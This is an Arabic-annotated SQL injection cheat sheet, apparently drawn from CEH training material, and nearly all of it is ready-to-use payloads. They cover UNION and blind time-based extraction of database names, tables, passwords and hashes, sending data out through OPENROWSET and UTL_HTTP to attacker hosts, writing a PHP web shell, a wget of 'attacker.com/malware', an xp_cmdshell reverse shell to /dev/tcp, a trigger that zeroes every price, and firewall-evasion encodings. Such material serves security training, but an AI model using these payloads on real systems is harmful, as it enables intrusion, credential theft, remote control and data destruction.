الـ SQL Injection

SELECT Name, Phone, Address FROM Users WHERE Id=1
-- الهجوم:
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
-- النتيجة: يضيف أرقام بطاقات الائتمان لنتيجة الاستعلام الأصلي

http://certifiedhacker.com/?parameter=123
http://certifiedhacker.com/?parameter=1'
http://certifiedhacker.com/?parameter=1'#
http://certifiedhacker.com/?parameter=1"
http://certifiedhacker.com/?parameter=1 AND 1=1--
http://certifiedhacker.com/?parameter=1 AND 1=2--
http://certifiedhacker.com/?parameter=1'/*
http://certifiedhacker.com/?parameter=1' AND '1'='1
http://certifiedhacker.com/?parameter=1 order by 1000

-- 1. استخراج اسم قاعدة البيانات
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,DB_NAME,3,4--

-- 2. استخراج أسماء الجداول
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,TABLE_NAME,3,4
    from sysobjects where xtype=char(85)--

-- 3. استخراج أسماء الأعمدة
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,column_name,3,4
    from DB_NAME.information_schema.columns where table_name='EMPLOYEE_TABLE'--

-- 4. استخراج البيانات من العمود الأول
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4
    from EMPLOYEE_NAME--

-- فحص طول اسم المستخدم
http://certifiedhacker.com/page.aspx?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://certifiedhacker.com/page.aspx?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
-- (زيّد الرقم لحد ما الـ DBMS يرجع TRUE)

-- فحص الحرف الأول من اسم المستخدم (a=97, b=98, c=99...)
http://certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
http://certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--

-- نفس الأسلوب لاسم قاعدة البيانات
http://certifiedhacker.com/page.aspx?id=1; IF (LEN(DB_NAME())=4) WAITFOR DELAY '00:00:10'--
http://certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),1,1)))=97) WAITFOR DELAY '00:00:10'--
-- (لو DB_NAME() = ABCD: a=97, b=98, c=99, d=100 → كلها TRUE)

SELECT * FROM products WHERE id_product=10
-- الطلب الخبيث (Oracle):
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80')||(SELECT user FROM DUAL)--
-- يُرسِل نتيجة الاستعلام لسيرفر المهاجم عبر HTTP

-- جميع قواعد البيانات على السيرفر
' and 1 in (select min(name) from master.dbo.sys.databases where name >'.') --

-- مكان ملفات قواعد البيانات
' and 1 in (select min(filename) from master.dbo.sys.databases where filename >'.') --

-- جداول وأعمدة في استعلام واحد
' union select 0, sys.objects.name + ': ' + sys.columns.name + ': ' + sys.types.name, 1,1,'1',1,1,1,1,1
  from sys.objects, sys.columns, sys.types
  where sys.objects.xtype = 'U'
  AND sys.objects.id = sys.columns.id
  AND sys.columns.xtype = sys.types.xtype --

-- استخراج كلمات المرور كنص
begin declare @var varchar(8000) set @var=':'
select @var=@var+' '+login+'/'+password+' ' from users where login>@var
select @var as var into temp end; --
' and 1 in (select var from temp) --
' ; drop table temp --

-- استخراج SQL Server Hashes
SELECT password FROM sys.syslogins

'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
  'select * from mydatabase..hacked_sysdatabases') select * from sys.sysdatabases--
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
  'select * from mydatabase..table1') select * from database..table1--

-- قراءة ملف /etc/passwd
NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*

-- كتابة PHP Shell على السيرفر
NULL UNION ALL SELECT NULL,NULL,NULL,NULL,''
INTO OUTFILE '/var/www/certifiedhacker.com/shell.php'/*

-- بعد كتابة الـ Shell:
http://www.certifiedhacker.com/shell.php?command=wget http://attacker.com/malware

-- MySQL: كتابة PHP Shell
SELECT '' FROM usertable
INTO dumpfile '/var/www/html/shell.php'

-- معرفة مسار الـ Web Server
SELECT @@datadir;

-- MSSQL: xp_cmdshell لإنشاء Reverse Shell على Port 8080
EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

-- مثال: Trigger يضبط سعر كل منتج على 0 تلقائيًا
CREATE OR REPLACE TRIGGER SET_PRICE
AFTER INSERT OR UPDATE ON ITEMS
FOR EACH ROW BEGIN
    UPDATE ITEMS SET Price = 0;
END;

-- Normalization Method
/?id=1/*union*/union/*select*/select+1,2,3/*

-- HPP Technique (HTTP Parameter Pollution)
/?id=1;select+1&id=2,3+from+users+where+id=1--

-- HPF Technique (مع UNION)
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

-- Blind SQL (بدائل OR/AND)
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

-- Signature Bypass
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))

-- Buffer Overflow Method (C/C++ firewalls)
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4...

-- CRLF Technique
http://www.certifiedhacker.com/info.php?id=1+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5--

-- تحميل ملف بدون علامات اقتباس (string = "/etc/passwd")
' union select 1,(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

-- حقن بدون علامات اقتباس (string = "%")
' or username like char(37);

-- حقن بدون علامات اقتباس (string = "root")
' union select * from users where login = char(114,111,111,116);

-- فحص وجود ملف (string = "n.ext")
' and 1=(if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));